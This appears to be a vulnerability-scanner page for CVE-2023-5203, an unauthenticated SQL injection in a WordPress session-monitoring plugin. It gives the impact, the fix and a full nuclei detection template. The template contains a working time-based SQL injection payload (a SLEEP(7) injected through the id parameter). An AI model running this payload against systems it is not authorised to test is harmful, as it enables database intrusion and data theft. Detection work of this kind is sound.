WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection

criticalseverity

9.8CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via request parameters in all versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can retrieve sensitive database information without authentication, leading to data breach and privacy violations.

Fix

Update to version 1.0.9 or later to fix the vulnerability.

How to confirm it

Send: @timeout: 30s
Positive when: duration >= 7 and status_code == 200 and contains(body, "activitytime_tracker") and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2023-5203 -u <target>

The full check

id: CVE-2023-5203

info:
  name: WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via request parameters in all versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can retrieve sensitive database information without authentication, leading to data breach and privacy violations.
  remediation: |
    Update to version 1.0.9 or later to fix the vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/activitytime/wp-sessions-time-monitoring-full-automatic-108-unauthenticated-sql-injection
    - https://wordpress.org/plugins/activitytime/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5203
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5203
    epss-score: 0.02202
    epss-percentile: 0.82687
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,activitytime

http:
  - raw:
      - |
        @timeout: 30s
        GET /?id=1%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%287%29%29%29test%29%20--%20 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 200'
          - 'contains(body, "activitytime_tracker")'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from